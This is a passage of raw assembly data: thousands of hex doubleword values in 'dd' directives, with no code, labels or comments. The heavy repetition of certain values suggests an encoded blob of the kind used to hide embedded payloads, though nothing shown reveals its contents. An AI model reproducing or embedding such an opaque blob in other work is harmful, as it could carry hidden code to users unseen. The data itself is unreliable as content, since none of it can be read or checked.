7D935437h, 9B14E15Bh dd 1567C03Dh, 1A932232h, 156610BEh, 0A0997432h, 109F632Bh dd 156AAF3Dh, 96691132h, 15668834h, 1566C53Dh, 90EB2232h dd 109F2B58h, 0FCB677CAh, 15664434h, 11BCE46Eh, 90EFB4E5h dd 109F9F13h, 156649DBh, 0C8E29432h, 0F2FE8921h, 0CF03CB61h dd 90A0FFD3h, 109F3AABh, 1563F871h, 0BF598832h, 7D18A4B4h dd 8901496Ch, 16E41E52h, 95668832h, 0AA00B0F5h, 0EA07AE0Ah dd 0EC410887h, 156E6137h, 0A1F64432h, 0E9388CA3h, 90EB3CD9h dd 109FB258h, 0C1BFB52h, 0D3EC35F6h, 0E9B6EE53h, 0C2860DBBh dd 95694233h, 1566223Ah, 15E11E52h, 74668832h, 156648DBh dd 71650932h, 1269BF7h, 1E4DD731h, 8CE38229h, 4163DB2Ah dd 15689F3Dh, 1C8F8832h, 3F664432h, 48670FFCh, 0CA86BC4Fh dd 770EA15Ah, 8ED4BDCh, 75662232h, 156600DAh, 6EC86C32h dd 86460F39h, 0CE8AEE31h, 31571A8h, 733F30D1h, 74B5DA8Bh dd 327F97CDh, 1A0614CBh, 15668ABFh, 740DF532h, 2F0CA7BFh dd 986914CBh, 1566883Ah, 730EF152h, 74451989h, 1A8FC1CDh dd 55668832h, 8E0599A6h, 36ECC449h, 20DF8D73h, 90EF3B17h dd 136793D6h, 15662ADBh, 0C7D9632h, 7B4A0BC6h, 8CE38206h dd 5063DB2Ah, 1561943Dh, 95698832h, 15664433h, 2DA44AC7h dd 0A506CB52h, 0A099E938h, 109F632Bh, 156628DBh, 51C50032h dd 0CDDB2FE3h, 985FDE18h, 0EC5C48B7h, 58FE437h, 74668832h dd 0C59E2A3Ah, 3F777888h, 0A1FF78BBh, 0EA7EE65Ah, 156DADE2h dd 4ECE2232h, 0E7C08953h, 183D4C89h, 0FDE3CD72h, 756023E5h dd 0A8E570C7h, 109F9FB7h, 19E34B32h, 0EC662233h, 15661BDBh dd 0B64FA332h, 0BA1A07AEh, 0D3D0C0DFh, 0EC7E88B7h, 0FD06CD37h dd 1566443Bh, 185B0E9h, 327F3D16h, 4EB803F6h, 1577AD53h dd 0ED692232h, 62237C49h, 980C5411h, 9AEFDCB8h, 7DF67AFEh dd 0EF466FB4h, 0CD377CBh, 0FC63BD15h, 1566223Fh, 0AD34EEF0h dd 0B732407Fh, 0F4EEE542h, 7FE3AFABh, 7563E808h, 156680DAh dd 0A52FAE32h, 190D399Bh, 0CDED7731h, 0EA077068h, 19EB4BE2h dd 1A662232h, 156617B5h, 15EA8732h, 9C664432h, 14B1CEB7h dd 90A0E434h, 109F90ABh, 0D60EBC7Eh, 0FC8604E2h, 15661138h dd 86F87E1Fh, 0EDE5A453h, 0A099B63Dh, 109F362Bh, 1562063Dh dd 0A1064432h, 90EB4392h, 109F2B58h, 15766052h, 756B4432h dd 1522069Eh, 0B268FB94h, 0BFDB1122h, 0CCEDED2Eh, 198F4368h dd 26661132h, 53420E44h, 4172D791h, 0EAE343ACh, 90EFE8E2h dd 13675FC2h, 156642DBh, 6564AC32h, 0FC2E2273h, 15668886h dd 0D307BD52h, 0EC7EBBB7h, 108F4337h, 20668832h, 0D297FC04h dd 5F822F5Ah, 0A099E88Eh, 109F8193h, 7FE3C9CEh, 0FC63DB08h dd 15661138h, 0FC320D1Bh, 5354457Ah, 0C599DC23h, 0DAD97752h dd 74B7035Fh, 156641DBh, 0BA187D32h, 90EF108Dh, 13675FDEh dd 13E64B52h, 1A662232h, 156611B2h, 0CD810832h, 8CE38253h dd 4763DB2Ah, 5F2E79C7h, 0EA9F2E7Eh, 0EC6FE587h, 156FCB37h dd 467A1132h, 44B28394h, 0FCA81317h, 1566223Ah, 7B680239h dd 182B4FD4h, 2F0CC1BFh, 420627CBh, 1566923Dh, 743C8832h dd 138F94CDh, 32662232h, 1C60424Eh, 0E5E301B1h, 0E96045E5h dd 0DFFA7F4h, 753414CBh, 156687DBh, 0B47CEF32h, 0E6033020h dd 137EA2E9h, 95B22482h, 1564CC3Dh, 4C342232h, 0A18C7953h dd 138F7570h, 81664432h, 22C1D96Eh, 14E21E1Eh, 0E0668832h dd 327FF1CDh, 730627CBh, 7688F0B3h, 44903154h, 0E64B53h dd 0FC662232h, 15661122h, 97E36FE8h, 18F38E71h, 3C421DF8h dd 0D7A3FD44h, 2F0C0DBFh, 9D6941CBh, 15662233h, 1AB6EECBh dd 15668FBAh, 9E002432h, 743874CCh, 1577903Dh, 198F8832h dd 0E8664432h, 0ABD8E5F3h, 5811FEE5h, 9C802C0Fh, 0EC7481B7h dd 0D3074237h, 0EC7E88B7h, 9069FF37h, 1566443Bh, 9069DB52h dd 15661132h, 0BDC5E053h, 9869B7A5h, 1566223Bh, 383EA952h dd 7406B424h, 1CD3BB53h, 0FC63DB13h, 1566113Ch, 3E463BB1h dd 59CB95D8h, 3C23F596h, 90EBEF47h, 109FB258h, 1AB6BBCEh dd 15662AB6h, 91DF7132h, 0E04E819Fh, 0EE84B53h, 1A662232h dd 156604B1h, 15766132h, 9B574432h, 0CD40640h, 272B3B8Fh dd 4FF39168h, 90EF0030h, 109F22FBh, 4E01ECAh, 75668832h dd 0FDBFF33Dh, 15662234h, 3DC00FC3h, 74384CDBh, 0DFFC1F4h dd 753427CBh, 156618DBh, 0C461DF32h, 6AF578B2h, 7D07705Eh dd 9FBB2025h, 0CD377CBh, 7563BD15h, 1560A23Dh, 9B691132h dd 15668832h, 1567CD3Dh, 749F2232h, 2F0C94BFh, 73068DCBh dd 7458888Dh, 9C9FF2CDh, 0EC72E4B7h, 15636137h, 7EDB4432h dd 0D327756Ch, 0EC7E88B7h, 7D9EDE37h, 0C179290Bh, 0A099DEC7h dd 109F19E3h, 156684DBh, 9DC34232h, 77E2EFB7h, 0FB86C76Ah dd 5E30524h, 1A63B8F7h, 156635BCh, 1574F832h, 3B728832h dd 0EB42BAC6h, 0C6A5B8E6h, 0E888389Eh, 23CAA200h, 9C6994CDh dd 1566223Ch, 156618DBh, 65D22932h, 0D26965F1h, 90EF26DEh dd 109F3663h, 0CCE7EE52h, 9E003B95h, 0D39A43FCh, 0EC7E88B7h dd 1E8FCF37h, 66664432h, 7343C45Eh, 80276BECh, 6F0ECE60h dd 0FCE79822h, 15662226h, 71DD43DAh, 53F53D0Fh, 7C834D62h dd 640BCD7Fh, 157F082h, 327F3DCDh, 989F41CBh, 0EC5C48B7h dd 1FE81E37h, 75668832h, 0A6A0C554h, 0D5D92D83h, 0FCB6EE53h dd 15668826h, 37ADC2E5h, 0C44ABE0Ch, 0E8F5CB4Dh, 44D97737h dd 0F3873BCCh, 0E7FA7BBh, 0D39314CBh, 0EC7E11B7h, 0A2060337h dd 7495A8E3h, 1AD3F35Ah, 5E987B8h, 75664432h, 0FC16E2B2h dd 15661134h dd 68461D0Dh, 0EA07EE00h, 0EC413B87h, 90EBE937h, 109FB258h dd 156655DBh, 6E6A6132h, 4C44F3h, 0B6165CEEh, 63915F27h dd 0C5991E40h, 5E398CAh, 0FC6089EAh, 15664420h, 0E3E8AF94h dd 0B3A5EE8Bh, 0EC4679C9h, 66AD7938h, 90A1C6A1h, 109F0107h dd 1566884Ah, 1568AD52h, 144C2232h, 0CAB3DC8Eh, 4FE9EFA9h dd 4C1CC2E6h, 74A09D3Dh, 190FACB1h, 1A668DCBh, 157E1BB6h dd 156ECB32h, 0C41132h, 9BA159D6h, 90A0179Ah, 109F3AABh dd 18EE1E7Eh, 75668832h, 1566C53Dh, 0DDD2232h, 746E1AC4h dd 0CF7A615Ah, 0AB0024EBh, 9369D205h, 15661138h, 15668DDBh dd 0F2279832h, 0FC07C880h, 1566113Ch, 0A3926EEFh, 0DBCE07DAh dd 0B5B1FB31h, 0A099FC43h, 109FAF2Bh, 156643DBh, 5EA6232h dd 519A0086h, 2F0C0DBFh, 0EA9341CBh, 1560CBE2h, 0C9681132h dd 0E954AFD5h, 0E9E3CDCAh, 0E06023E5h, 0DFF94F4h, 752A8DCBh dd 16E24BCAh, 73662232h, 7D07EBB9h, 0C81256FCh, 156BAD52h dd 399B2232h, 7494F5D2h, 17F339A3h, 9506D0D7h, 0EA072BD3h dd 0EC410887h, 156C6137h, 92404432h, 14FDD316h, 0D2FBBAB1h dd 2F0C0DBFh, 946941CBh, 15662227h, 1569903Dh, 1F8F8832h dd 4C664432h, 0EDE29135h, 63959B24h, 0ECB67774h, 0CD66C1BBh dd 0D39F2433h, 0EC7E88B7h, 128FC437h, 0FA664432h, 0A23D44FAh dd 73063763h, 613C48B3h, 97592C53h, 68F95B3h, 2F661132h dd 6393EEF8h, 0B4720AD2h, 66D4E4B6h, 0BF05E7DAh, 0A0995370h dd 109F632Bh, 7FE3AFCEh, 1A63E808h, 15669DBBh, 1576AD32h dd 0A4D12232h, 62DA1271h, 91910122h, 7C66297Eh, 0C5997BA0h dd 0FAE77752h, 0AC35649Ah, 7FA779F2h, 90EF436Dh, 1367C936h dd 0E7D18752h, 749DFB3Dh, 0DFFA7F4h, 1A2A14CBh, 15668FB9h dd 14EB4B32h, 0E9662232h, 156600DBh, 0B78E5732h, 62AC710Eh dd 21E23D0Ch, 0CEE1B2A8h, 0D0E4AE5h, 1AD56B72h, 156634B1h dd 1A8F7132h, 0F0668832h, 0E60740EEh, 98CCB625h, 72ADF078h dd 0EA07730Dh, 0EC415D87h, 1568CB37h, 23FC1132h, 659723C5h dd 7348D2F4h, 0FE1E73E3h, 2F0C94BFh, 96698DCBh, 15664435h dd 1567AD3Dh, 0ED931132h, 9A6958CDh, 15664433h, 19ED2DCBh dd 1A661132h, 15668EB2h, 15E24B32h, 9C662232h, 14BE15B7h dd 14E88734h, 0ED664432h, 8CE3E4C7h, 5363E82Ah, 15668EDBh dd 4702532h, 7DFB57DCh, 0AFB81726h, 1561053Dh, 92694432h dd 15662233h, 0CD3EECAh, 0ED637115h, 2F0CC1BFh, 9B6927CBh dd 15661133h, 0FCB677CEh, 1566443Bh, 79C5DB49h, 577B8EC4h dd 90EF7036h, 13679C3Eh, 156625DBh, 1E4E9932h, 94FDF934h dd 94692452h, 15662232h, 15669D3Dh, 9E078832h, 90A025F1h dd 109F3AABh, 0F0E67175h, 156361A2h, 8A7A4432h, 7432B1D1h dd 0C9766B5Ah, 156861B3h, 7DDF4432h, 3A5AFECFh, 239A0A4Eh dd 0B0550483h, 327FF1CDh, 1C8F27CBh, 0C1661132h, 311DC9DAh dd 0E5F8D157h, 2F0CA7BFh, 730614CBh, 7354B88Dh, 4DAA4B3h dd 0FCB6DD53h, 15661135h, 565E62D2h, 9CD3594Ah, 14BE36B7h dd 156FF834h, 50C98832h, 72F02583h, 0D3382972h, 0EC7E88B7h dd 9406CF37h, 0BF3B78F9h, 0B90E4300h, 1A8996BCh, 15668BB3h dd 749E2432h, 327F97CDh, 989314CBh, 0EC5CE2B7h, 0DAE72437h dd 299A66D8h, 0F121A854h, 0E9B67753h, 0CD7EC1BBh, 188F2433h dd 6D661132h, 0FB0DA59Ah, 0BD19AB9Dh, 9B812D8h, 0DFF94F4h dd 0FC218DCBh, 1566443Bh, 6BCDD48h, 0A4F9AB9Dh, 15766189h dd 0EB104432h, 0EB4A5104h, 0F6734A1Eh, 17BAB333h, 0C70E4094h dd 1AB2B895h, 156610B5h, 0A0997D32h, 109F632Bh, 1AA8A352h dd 743BC2FEh, 2F0C0DBFh, 0EA9E41CBh, 14EE2DE2h, 0ED661132h dd 0CD7A0DBBh, 1A9E4233h, 156630B2h, 156BF832h, 35488832h dd 51207B2Eh, 13E71078h, 0D32E3CADh, 0EC7E11B7h, 75060337h dd 89DFE8B9h, 742FAAB3h, 15746152h, 0BBF54432h, 0BA38519Ah dd 22FDDE2Dh, 2C2BB372h, 12548CD9h, 0D5BFA354h, 0FC0770B7h dd 15668837h, 61CFB7A1h, 2C624A72h, 7306ABF3h, 259B48B3h dd 74ACCF54h, 0CD3DDCEh, 0E063E815h, 2F0C0DBFh, 1A0641CBh dd 156623B0h, 0EA07E932h, 157261E2h, 81074432h, 0B97726BEh dd 0F4852475h, 46D82AD0h, 3F7E435Ah, 90EF0368h, 1367C912h dd 2CDB0BCAh, 1563BD26h, 15C7A73Dh, 1A061132h, 98697185h dd 15664430h, 0D3076B84h, 0EC7E88B7h, 9369CF37h, 15664424h dd 156633DBh, 0F026D032h, 4C7C3D8h, 0D5254475h, 0C172312Bh dd 720E50DAh, 0E086FA1Fh, 1567CF3Dh, 0EA932232h, 0EC410887h dd 0E9ECE837h, 156654DBh, 0D74A3532h, 4A51C139h, 3F81E1CDh dd 7C34723Dh, 90EB43CEh, 109F2B58h, 0DFE7EE52h, 0D4EDF5B5h dd 1AB6DD53h, 15661EBCh, 156C6132h, 690C4432h, 0F686A336h dd 0F342B710h, 0CD420DBBh, 18F4233h, 0C4662232h, 9E37538Ah dd 0A95F2CBCh, 2379E477h, 34A1A890h, 0D3FB01D9h, 0EC7E11B7h dd 0FD060337h, 15662235h, 3137741Ah, 0FC98AA39h, 15664423h dd 3D7652F9h, 1B068E11h, 6A2B718Fh, 898F1454h, 749E7CF3h dd 3CD5A05Ah, 0A0997DBCh, 109F632Bh, 15662EDBh, 87EF5432h dd 0D0AC1B8Bh, 9E5082A2h, 7FE3AFA7h, 7563E808h, 6AA90964h dd 4A630547h, 7486D4B2h, 15661DDBh, 0FC60BB32h, 7DBE9F08h dd 0EB8BF120h, 75B6EED1h, 1ABC3F3Dh, 156642BDh, 15EB2D32h dd 74661132h, 0CD4E0DBBh, 96694233h, 15662235h, 15679F3Dh dd 0D39E8832h, 0EC7EDDB7h, 1A8F6137h, 9C661132h, 0E928108Bh dd 36041549h, 0B97815EBh, 0B20E9B78h, 0E0A6FE78h, 327FF1CDh dd 1E8F27CBh, 0C8661132h, 7907EF5Fh, 81A5317Eh, 0AF06AC24h dd 21487D42h, 156D6052h, 0A8A14432h, 71A07C8Ah, 0FF6560ACh dd 4E35D7EBh, 90EB2553h, 109F1858h, 0E0B6EEC7h, 0CD4A0DBBh dd 9E064233h, 0F6E744C5h, 0D307FE54h, 0EC7E11B7h, 7D9A0837h dd 0EE004ED9h, 1CD3EECAh, 1A637113h, 156658B9h, 3E52D32h dd 0FC661132h, 15668823h, 0B21C2835h, 97FD3E6Eh, 89F260BBh dd 0A17D3CB0h, 7FE3C900h, 0FC63DB08h, 15661122h, 60BB162Ah dd 90DABD78h, 3166F0BBh, 0DF48637Ah, 58F58CDh, 0FD664432h dd 0BAD5A21Ch, 6721B2E8h, 8EFF8E51h, 9CFEAF5Bh, 14BEE2B7h dd 0D3E77134h, 62568FECh, 15664CDAh, 22B8CF32h, 551084BFh dd 15766172h, 47C94432h, 0EE258B3Ah, 9D4E1E8Eh, 763E9D3Ch dd 743C0916h, 0DFFA7F4h, 0FC2214CBh, 1566883Dh, 0DF823CF6h dd 418570D2h, 3FFBAADh, 7DA7D78Bh, 0AE15CA67h, 1562A93Dh dd 9F061132h, 0A099E9E8h, 109F632Bh, 15662CDBh, 1A1AB232h dd 90F33ADAh, 0BFEF897Ah, 0FC92E892h, 15661135h, 0DBAB1B6h dd 98D2D0DBh, 0EC5C48B7h, 14ED1E37h, 0ED668832h, 9D6994CDh dd 15662237h, 0CDD11E52h, 25E30153h, 1A6045EAh, 156625B5h dd 14E91E32h, 0ED668832h, 0DFFC1F4h, 1A2527CBh, 156606B6h dd 1F8FE832h, 42664432h, 1F42683Ch, 80C0C448h, 15E187E3h dd 74664432h, 9B08DE5Ah, 0A099ED8Eh, 109FAF2Bh, 7FE3C9C7h dd 0FC63DB08h, 15661135h, 1B1B8CCAh, 0EA403602h, 9C9EDBE2h dd 14BE25B7h, 4E28734h, 0FC664432h, 1566223Eh, 7A9B5C85h dd 0C4EFAA5Eh, 0B4946080h, 69DC4452h, 0AA839162h, 8CE34E53h dd 4663BD2Ah, 156625DBh, 5CE93D32h, 18BD9DD1h, 558EE5Ah dd 0A099DBF4h, 109F362Bh dd 7FE305CEh, 1A63BD08h, 15662EBEh, 13E41E32h, 1A668832h dd 156644B9h, 0FCB6DD32h, 15661134h, 0F9B7B316h, 90EFB05Ch dd 1367FA0Ah, 156605DBh, 0E69F2332h, 47EADE9Dh, 435585C5h dd 0CCAD22B8h, 0A93DBDFDh, 38DBC75Dh, 1563DB19h, 16B0953Dh dd 96698832h, 15664435h, 1567AD3Dh, 0FC9F1132h, 15668822h dd 0B31D1F18h, 0C2141191h, 742179A1h, 1CA5507Eh, 0DFFC1F4h dd 0FC2027CBh, 1566113Ah, 9F6D24A7h, 0B5BD66E4h, 83A8135Ah dd 18EC1EC8h, 75668832h, 1566CA3Dh, 94002232h, 745F45DAh dd 327F3DCDh, 0AF0641CBh, 77B1D395h, 0D2CAD0B3h, 980799DDh dd 0EC5C2EB7h, 9EF2D37h, 75661132h, 156686DAh, 0CEF39432h dd 62E4D3BFh, 5DEF7AB4h, 4AADAE13h, 1566CC3Dh, 75072232h dd 0FC062187h, 1566883Ah, 806771CFh, 3CFB0FA0h, 74077052h dd 0FD0658CDh, 15664438h, 0E6718A10h, 10F2D93Fh, 0C4ED0512h dd 580C568h, 747D81DEh, 0CDF294BBh, 108F8E33h, 23664432h dd 2328705Fh, 0DFF94F4h, 0EC208DCBh, 0B25C925Ah, 1561CBCEh dd 0FB9B1132h, 0D5E2B33Bh, 0CD3BB22h, 0E963DB15h, 2F0C94BFh dd 43068DCBh, 15664BDBh, 5D033B32h, 0A5FC9A1Fh, 4AE0FB62h dd 869E3306h, 74BA9568h, 9C9AC1CDh, 14BE2CB7h, 1EE54B34h dd 75662232h, 9451E3B2h, 70991ED5h, 90A02571h, 109F3AABh dd 1576F874h, 0EF3D8832h, 0DF843DB9h, 0B91CE98Ch, 1656F4D4h dd 150EFA69h, 0FCF4B896h, 1566223Ah, 84254E19h, 813133B1h dd 327FF1CDh, 68F27CBh, 3D661132h, 95598E13h, 4571CB68h dd 3774B3C2h, 0C99CE3CDh, 90EB4121h, 109F7E58h, 156632DBh dd 2987A432h, 29A4A7D0h, 0F644CE7h, 0E056A5C0h, 0FCB6EEA2h dd 1566883Dh, 0EDB9B8A0h, 0A2F2C019h, 0A21E9CF2h, 9CCDFD76h dd 14BEECB7h, 0CEC2D34h, 0FC661132h, 15668826h, 12B6FFDCh dd 20093E42h, 62ED9949h, 0B1D0802Bh, 0A15A5753h, 0DFFA7F4h dd 752014CBh, 17B9C389h, 9424FC45h, 7D077822h, 0E3B25E58h dd 4C35E852h, 1566CC3Dh, 0FD072232h, 15661123h, 41CD2487h dd 3ED76BD5h, 89EBBE67h, 0AE196937h, 156F61A1h, 13C14432h dd 0ECA478E7h, 4C6ECFB6h, 0CD37753h, 1A63BD15h, 15662FBDh dd 156EF832h, 0EA358832h, 0FA691DCFh, 90EB17EDh, 109F2B58h dd 1EE68752h, 0FC664432h, 15662234h, 0D8F7745Ah, 18F636Ah dd 0EE664432h, 431FF5CAh, 38FF7172h, 38831DA0h, 266C0B14h dd 741DAA79h, 108FC1CDh, 8F668832h, 2FC63E35h, 0CDCAA7BBh dd 92691733h, 15668833h, 8CE382C7h, 5363DB2Ah, 156614DBh dd 95CB9532h, 0F20E26CAh, 0FCF2EF62h, 15661138h, 56A6C512h dd 162F2B32h, 0A0995870h, 109F362Bh, 0D963252h, 98076F3Ah dd 0EC5C48B7h, 14E81E37h, 0ED668832h, 78F94CDh, 0AF662232h dd 0FD9B8DD7h, 0B53882E2h, 91D17CCCh, 0DF2FB6BEh, 8DE398E1h dd 756089EAh, 0FDBDFB3Dh, 15662221h, 0EFEA33F3h, 82962E84h dd 0B9C09E2Ah, 0F6A54840h, 455F2BE5h, 0D307D16Bh, 0EC7EDDB7h dd 7D936437h, 0A4446509h, 0CD377CAh, 7563BD15h, 1565A63Dh dd 0E6E61132h, 1575611Fh, 0BC744432h, 0EDBCE067h, 1519462Eh dd 0A4638F79h, 0E10C6913h, 90EB43E8h, 109F2B58h, 0FCB677CEh dd 15664421h, 12D84CE4h, 0E34DED2Ch, 0CB1F07EEh, 9CC38559h dd 9C3E7C00h, 14BE8DB7h, 156A6134h, 18E44432h, 11961F33h dd 0C20DC587h, 90A0EFA0h, 109F5CABh, 188F4274h, 92661132h dd 66AC6184h, 42C4E1D2h, 0A557E787h, 7D07F183h, 0CA1F62DFh dd 7AA2C452h, 1EB4A354h, 0A0997082h, 109FAF2Bh, 7FE3C9CEh dd 1A63DB08h, 156610B8h, 0C5997D32h, 2EB4B52h, 0FC662232h dd 15661120h, 4EBF36Ah, 0E6375EC9h, 0D1E8C9B5h, 11B045BEh dd 9C071DF1h, 14BEE4B7h, 0AC004234h, 9269FCD8h, 15668831h dd 742E8CB2h, 15F9FB1h, 1A6614CBh, 1566FEB7h, 9E002432h dd 1560CBF4h, 5AD31132h, 214CE291h, 8CE38253h, 4663DB2Ah dd 156619DBh, 0BEF4BB32h, 7D35670h, 0F5384AECh, 9506DF8Ch dd 0FC310BF1h, 15664426h, 3E2D3A5h, 5A18EE8Ch, 0DA8DDEE0h dd 2D8ED185h, 6A4665C3h, 0A099706Ah, 109FAF2Bh, 7FE3C9C7h dd 0E963DB08h, 0A706C1CDh, 74AD02ADh, 0CD5AC1BBh, 198F2433h dd 0DC661132h, 0BD477A96h, 46AD991Eh, 0D3CF46D5h, 0EC7E88B7h dd 7D9ECF37h, 0D2D71AB5h, 156631DBh, 0F1F2C832h, 0A70DF944h dd 52AB0214h, 0DB7D647Eh, 8EAF853Eh, 327F3DCDh, 48F41CBh dd 36662232h, 6DB65721h, 0A351E952h, 0BEEF48EBh, 0A4C46561h dd 2F0C94BFh, 93698DCBh, 15664433h, 0FCB6DDCAh, 15661139h dd 0ED07B3A6h, 96DBCC7Fh, 9CD22F35h, 14BE51B7h, 0A8E57434h dd 109F500Bh, 9AE32D32h, 1A661132h, 156689B8h, 90A0B132h dd 109F3AABh, 0AA697175h, 0F2E7EEF1h, 7D07F316h, 0F3045C37h dd 1560F952h, 0FE428832h, 0A86A9E7h, 4EBC9D3Dh, 746CCEB2h dd 0CD377CBh, 7563BD15h, 1564AC3Dh, 0DBEC1132h, 98077FB9h dd 0EC5C2EB7h, 0DEED4237h, 0CE75F3B3h, 0EA07A68Ch, 0FC06BCE2h dd 15662226h, 17E0BDA8h, 5F20158Ah, 0DDD27DDEh, 0F7054C07h dd 0B67D702Eh, 15640B3Dh, 74064432h, 51E3AB53h, 0FC6010EAh dd 15668838h, 335533E7h, 7DC38417h, 90A05D6Bh, 109F90ABh dd 48F2471h, 0BA662232h, 2F7EE64Fh, 901204D6h, 1BE03403h dd 0A3AD08F9h, 156605DBh, 4012D432h, 0DF9701DDh, 0A1129F59h dd 0FCAEF977h, 0DE01A96h, 1B8F2551h, 36662232h, 886C48CCh dd 0F75C2E62h, 5553D6BFh, 1C904A7Bh, 58F8348h, 38668832h dd 319F93Eh, 72438325h, 68F0D61Bh, 0EA8E282Ah, 0EC415D87h dd 14EE2D37h, 0ED661132h, 7FE305CAh, 7563BD08h, 1AACA954h dd 0EA07DB8Dh, 4E487E2h, 0FC664432h, 1566223Eh, 61D21402h dd 7CF7C1DFh, 3B0E3043h, 0CD2EA7BBh, 73061733h, 0DB225BB3h dd 156643DBh, 34414E32h, 88F036F9h, 8CE34E53h, 5663BD2Ah dd 2E42D52h, 0FC661132h, 15668820h, 549440E5h, 8521F6Fh dd 752B51ABh, 0F9BE87DEh, 7D072A95h, 0E947B512h, 15689B3Dh dd 94068832h, 0DB473AC1h, 15E02D6Ah, 74661132h, 0C6ED7D52h dd 0CD3BB53h, 0FC63DB15h, 15661122h, 92F7370Dh, 4EA99B5Bh dd 8026B31Ch, 0C0332B79h, 2F0C0DBFh, 198F41CBh, 51662232h dd 199CD307h, 1C267D52h, 1A299A47h, 156625B2h, 14EB1E32h dd 0ED668832h, 0A20694CDh, 90EF4335h, 1367C97Eh, 15668DDBh dd 9C9A0032h, 128F2609h, 93661132h, 48FDA5EAh, 0A8E57EADh dd 109F360Bh, 0D3E31E32h, 1A668832h, 156645B0h, 90A0DE32h dd 109F09ABh, 7EA8771h, 0FC664432h, 1566223Fh, 0DD1D64A6h dd 0A6AFD490h, 0D80E2D34h, 0BD654A1Bh, 0EC9E9A32h, 327F3DCDh dd 989F41CBh, 0EC5C48B7h, 0EC937137h, 0FCB67753h, 15664439h dd 0E8DF36B4h, 87C30191h, 9C70C9EFh, 14BE10B7h, 90A0DE34h dd 109F09ABh, 15606171h, 0A604432h, 63CD64EEh, 4E50C45Ah dd 1DE587D7h, 1A664432h, 156620B0h, 1A077132h, 15668EB7h dd 4F372432h, 0EA077C60h, 0EC410887h, 1DE08737h, 1A664432h dd 156620B1h, 98077132h, 0EC5CE2B7h, 0C599BD37h, 45E3ABC7h dd 756010EAh, 156A083Dh, 138E4432h, 4A662232h, 614EFAEBh dd 0DBE7D1C3h, 641211EBh, 8CE3E453h, 5663E82Ah, 0F40E74CBh dd 758CEE00h, 1569CA52h, 0AB5C1132h, 0C9D18889h, 152318CCh dd 8F06C9E3h, 0C4ED4835h dd 15776153h, 0E7FD4432h, 0FF31C32Ch, 4AAE1F77h, 0C73AD534h dd 7476D027h, 327F97CDh, 9A6914CBh, 1566883Ah, 0CED14B52h dd 7479C9B2h, 2F0C94BFh, 47068DCBh, 0E938BCB9h, 75B6DD53h dd 0B1BD9054h, 4C36E841h, 9C0725CAh, 14BE7AB7h, 90A0ED34h dd 109F90ABh, 220EBC71h, 0FCE2D39Eh, 1566113Ch, 0F4F6BEEFh dd 0BF5D4323h, 0B56A98D8h, 0A099FFAEh, 109FAF2Bh, 156CCD3Dh dd 108F2232h, 2661132h, 8BA02059h, 2F0CC1BFh, 48F27CBh dd 0A0661132h, 0F140C85Eh, 74189D9Ah, 77DE53D7h, 0AA5EA776h dd 0FD0658CDh, 15664422h, 911FB7ECh, 0E5D6EB6Ch, 73817D03h dd 453EC8BAh, 1566AF3Dh, 943E1132h, 730812C4h, 90EF253Ch dd 1367FA6Eh, 48F4252h, 6A668832h, 0EFB25A5Dh, 0B1B6201Ch dd 0B2AF49F9h, 92C39797h, 0EEB4FD6Bh, 0D3077D82h, 0EC7E88B7h dd 9A69C737h, 15664433h, 85B24ACAh, 0EA9F8607h, 0EC419187h dd 14EA4B37h, 0E0662232h, 2F0C94BFh, 9A698DCBh, 15664423h dd 15662EDBh, 0E8C2D332h, 0A533AF92h, 8A745877h, 0FCB6DD6Bh dd 15661134h, 1C791130h, 9A6945C8h, 15662233h, 75E398CBh dd 756089EAh, 0E4ADC5CAh, 7431104Fh, 0DFF94F4h, 0FC298DCBh dd 15664437h, 64032ACCh, 1B64790Ah, 9669715Ch, 1566443Dh dd 156628DBh, 42184632h, 0B02DC6D3h, 0EA34B409h, 0EC413B87h dd 18E01E37h, 75668832h, 2F3CF38Ah, 15E82D3Dh, 74661132h dd 2F0C0DBFh, 9B6941CBh, 1566222Ch, 1577F852h, 6A728832h dd 0FAF2DE15h, 0CF0E978h, 0B7935B2Bh, 94BF9375h, 21C0DAF4h dd 0C5994337h, 156CF8CBh, 26118832h, 0B0C06114h, 0A52A7B5Ah dd 0CD0294BBh, 1B8F8E33h, 8B664432h, 29CC7F2Eh, 9296274Fh dd 4B9EF42Ch, 8CE382B4h, 5863DB2Ah, 156617DBh, 25B9CC32h dd 75A1AD0Fh, 0AFC7CBB3h, 7D070C31h, 0DD51F17Bh, 157FCF3Dh dd 98692232h, 15661121h, 156686DBh, 0C337C332h, 0EA956B4Dh dd 23624A6Fh, 0EAC6D99Bh, 0EC415D87h, 0E22D37h, 75661132h dd 156685DAh, 0FD1FA532h, 28E31ABEh, 30C4629Eh, 743CD588h dd 2F0CC1BFh, 0EA9F27CBh, 9669E9E2h, 1566883Dh, 15664EDBh dd 0A7554132h, 0F383954Ch, 9C9B5F7Eh, 14BE28B7h, 156DCB34h dd 7F051132h, 0F6DC2358h, 0E3D88B4Eh, 8CE3E45Bh, 5863E82Ah dd 17E98752h, 42664432h, 74BFA96Bh, 0E22B985Ah, 156E61EEh dd 76BD4432h, 9ADA59CBh, 0A099186Bh, 109FAF2Bh, 15664EDBh dd 978CE032h, 0F03DCD30h, 98215161h, 0EC5C2EB7h, 73934237h dd 74BEEE8Bh, 906958CDh, 1566443Eh, 1560AA3Dh, 97691132h dd 15668832h, 0CD0EC1BBh, 75932433h, 0E18D9054h, 0D3077DACh dd 0EC7EDDB7h, 7D9A7737h, 897D3C05h, 156685DBh, 7C508032h dd 0E01C088Ah, 0F255F760h, 0A099B4B6h, 109F632Bh, 7FE3AFCEh dd 7563E808h, 2F82868Dh, 1A8F2513h, 90662232h, 93C2CCB5h dd 9B2272F8h, 8D86D4FDh, 0C59906EDh, 65E398CAh, 1A6089EAh dd 156648BBh, 13EF2D32h, 1A661132h, 156688B8h, 8CE38232h dd 5663DB2Ah, 156A973Dh, 91698832h, 15664434h, 1566AD3Dh dd 3F0E1132h, 1AB45DC2h, 15664AB9h, 0C4E74232h, 69B8CB93h dd 1566003Dh, 0EA074432h, 0EC413B87h, 1576F837h, 8FAB8832h dd 0CC1C4290h, 4BBFEA0Ah, 0B3C66787h, 90EB6BB8h, 109F7E58h dd 198EDA52h, 0F2661132h, 435B7FBAh, 344371Eh, 0A135A6AEh dd 75074E60h, 1566073Dh, 0EA074432h, 156ECBE2h, 51711132h dd 3D313767h, 90EFD212h, 1367FA46h, 156600DBh, 0DBC3FC32h dd 4E674704h, 0E6269D5Ah, 0F82C3076h, 90A071FDh, 109F5CABh dd 7E42D60h, 1A661132h, 156684BEh, 1561AD32h, 17EB2232h dd 0F3659C1Fh, 0BEF87B0h, 75664432h, 156628DBh, 5C833832h dd 1A41922Bh, 0FCD206DFh, 1566223Ah, 4ECFE1EAh, 